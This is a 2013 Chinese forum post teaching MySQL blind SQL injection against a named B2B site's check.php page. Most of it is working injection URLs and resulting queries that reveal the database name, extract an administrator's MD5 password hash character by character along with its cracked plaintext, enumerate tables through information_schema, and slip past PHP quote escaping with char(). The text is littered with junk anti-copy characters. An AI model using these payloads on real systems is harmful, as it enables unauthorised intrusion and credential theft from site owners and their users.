找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2587|回复: 0
打印 上一主题 下一主题

MySQL盲注最全 实例讲解 详解

[复制链接]
跳转到指定楼层
楼主
发表于 2013-9-25 13:52:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本文实例来自习科论坛交流三群。这个注入点可以使用错误回显注入来爆数据,本文出于讲解的目的,使用更麻烦的盲注。
- w3 i& z" J( ^9 {$ R- U' S% A阅读本文,需要有一点点SQL基础。盲注理解起来其实非常简单,就是做起来非常费劲6 n! h& ^5 p( ?9 u* i- `4 A. E
作者:YoCo Smart$ a+ F. P/ O. Y# U* [6 B+ K6 N3 D
来自:习科信息技术 - http://BlackBap.Org
3 |: K1 x9 C: G4 k+ j8 |我们先来看注入点,是一个B2B网站建站公司:
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin
  • 用户名已被注册
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'
  • select userid from demo_b2b_member where user = 'admin''You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 1
    & r+ I, p4 v. H: V9 ^+ d

8 h% \0 o0 T  k+ t8 [& }. Q复制代码
( n3 x4 \( x2 b" ?! ?1 A6 Y错误提示已经很明了了。我们看一下注入页面的代码(有删改):
  • $js_user = trim($_GET["js_user"]);
  • if($js_user){
  • $num = $db->num_rows("select userid from demo_b2b_member where user = '$js_user'");
  • if(!$num)
  • echo "<div class=tips3></div>";
  • else
  • echo "<div class=tips2>用户名已被注册</div>";
  • }3 V+ B1 D9 S7 F
0 h+ S/ I" }* t. G+ A9 u3 d, e
复制代码
- m" o5 _. ?6 j* u- x6 H1 R8 L1 l9 G以GET方式取值的变量js_user虽然没有过滤被直接带入了数据库执行,并且MySQL也执行了,但是并没有显示数据库的任何信息,而是判断是否符合9 U6 l0 V& N* R# k6 h& H( H
那么我们先从union的盲注来看吧。' Y6 |: V% h% R/ b
先看版本:
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(version(),1)=5%23
    $ {* B( s% ^6 _) P  j; d5 y6 x4 x
4 d1 p# e. J! V2 x6 l0 \7 Q
复制代码
" s% o& Z1 z; M8 p. v这个时候我们来看看原来的代码中的SQL语句是怎么执行的:
  • select userid from demo_b2b_member where user = 'admin'and left(version(),1)=5#'
    9 @2 g) l* M3 g
. N. I, T  S% x$ i$ {! `# s3 v
复制代码! ?& ?6 r  C* I$ B7 j$ U  g
因为执行成功,所以不符合if(!$num)这个条件,回显“用户名已被注册”,那么版本为5成立$ p" m8 r) ~9 b2 N; `4 I% k
再来看database()的数据:
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(database())=6%23
  • database()长度6
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),1)='l'%23
  • l
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),2)='li'%23
  • li
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),3)='lic'%23
  • lic
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),4)='licl'%23
  • licl
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),5)='licln'%23
  • licln
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),6)='liclny'%23
  • licclny  U3 x- D, t: O8 j( u
1 O6 o* l' p) z: i
复制代码, `1 E: ]1 I0 l! ?' f
length()函数是计算括号中数据的长度,回显为纯数字,可以用大于小于和等于号来判断是否正确。
- L  n( y4 F% |5 I这里要注意看一下left()函数中的数字变化,关于left()函数,可以自行参考MySQL手册。
! U3 S, P  L% u( f3 |5 h) P: F再来看一点简单的判断句:
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(pass)=32%23
  • select userid from demo_b2b_member where user = 'admin'and length(pass)=32#'7 }8 S' |/ ~9 C% p$ \2 [
( {7 a8 |& n. t6 }( l' l
复制代码$ w8 [4 ^6 o- O- s
这个时候length()函数中的pass是猜测的,当然是建立在猜测正确的基础上。$ S7 [7 z% ?" l# `/ o: _# r
这里要说的是,pass和前面select后的userid同属一个表段demo_b2b_admin,所以不需要再带select语句
& X* W6 v" |( M1 Z+ h' P9 f( s# U( v那么这里就能得到:
  • 这里最后没有'#这个终止符,大家带进去看一下,你们懂得。前开后闭。
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,1)='0
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,2)='04
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,3)='048
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,4)='0484
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,5)='04843
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,6)='04843e
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,7)='04843e9
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,8)='04843e9f
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,9)='04843e9f9
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,10)='04843e9f91
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,11)='04843e9f91a
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,12)='04843e9f91ad
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,13)='04843e9f91adf
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,14)='04843e9f91adf2
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,15)='04843e9f91adf22
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,16)='04843e9f91adf228
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,17)='04843e9f91adf2287
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,18)='04843e9f91adf2287c
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,19)='04843e9f91adf2287c0
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,20)='04843e9f91adf2287c0a
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,21)='04843e9f91adf2287c0af
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,22)='04843e9f91adf2287c0af5
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,23)='04843e9f91adf2287c0af5f
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,24)='04843e9f91adf2287c0af5fe
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,25)='04843e9f91adf2287c0af5fe1
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,26)='04843e9f91adf2287c0af5fe16
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,27)='04843e9f91adf2287c0af5fe167
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,28)='04843e9f91adf2287c0af5fe1675
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,29)='04843e9f91adf2287c0af5fe16750
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,30)='04843e9f91adf2287c0af5fe16750a
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,31)='04843e9f91adf2287c0af5fe16750a3
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,32)='04843e9f91adf2287c0af5fe16750a35
  • 长度是32,是md5加密,解密得到lcl2wly' y# r7 W) s/ }1 ^% o2 g

1 U6 g% W/ w4 C1 g+ p( l复制代码9 T2 @4 F9 I8 `* @4 I3 h/ b
这样,猜数据的方法你肯定是懂了1 b4 U& l0 x6 V& B
. J. i* ^9 c& P' m- F9 U. j* K

& g5 Q/ I, @. w2 f+ F) ~  T( a) D! _最后,我们来看demo_b2b_admin以外的数据,现在再来猜表段:
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))<100%23
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))=14%23; R8 n5 Y( G( j" ~0 e" E
- m+ S1 `! c% n. j7 S
复制代码
  d7 n+ @# p# E- P( g; L% b实际运行的SQL语句就是:
  • select userid from demo_b2b_member where user = 'admin'and length((select table_name from information_schema.tables limit 0,1))=14#'' f3 C( }: F; d/ F

. I1 o. W* ?7 ~: X复制代码
$ C* w3 H9 n  D3 D: _上面这个语句,对于information_schema不明白的,可以参考其他MySQL注入文章来看一下这个库的意义。% r4 j: @* H# D4 d+ r
关于limit x,y 的用法,可以参考MySQL手册
2 ^. y( V% q9 N( @, R' k* Y9 U+ u2 |4 Y3 N# k: ~
最后剩下的要说的就是ascii函数和hex函数了
& u- f9 m3 w8 k) O+ k9 [! c4 }这两个函数的意义是避开php的GPC转义,例如:
  • http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+substr(left(pass,1),1,1)=char(48)%23
  • select userid from demo_b2b_member where user = 'admin'and substr(pass,1,1)=char(48)#! G) \3 n; [4 j& {9 e5 r
  {% p! ?7 E, ]" L) G, m/ k1 J: t
复制代码( z  F2 c8 L% k
substr()的用法可以参考MySQL手册,如果不懂,就这样套好了。Char()里面的数字替换为ascii码数字
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表